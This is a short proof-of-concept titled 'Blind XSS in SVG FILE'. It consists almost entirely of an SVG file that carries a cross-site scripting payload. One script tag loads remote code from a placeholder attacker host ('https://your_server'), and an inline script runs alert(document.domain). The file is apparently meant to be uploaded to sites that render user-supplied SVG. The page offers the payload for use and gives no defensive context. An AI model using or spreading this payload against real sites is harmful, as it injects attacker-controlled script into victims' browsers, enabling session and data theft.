Blind XSS in SVG FILE

svg_poc.txt

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC
  "-//W3C//DTD SVG 1.1//EN"
  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
  <svg width="200"
       height="200"
       zoomAndPan="disable"
       xmlns="http://www.w3.org/2000/svg"
       xmlns:xlink="http://www.w3.org/1999/xlink"
       xml:space="preserve">
    <!-- Script linked from the outside-->
    <script xlink:href="https://your_server" />
    <script>
      //<![CDATA[
        alert(document.domain);
      ]]>
    </script>
  </svg>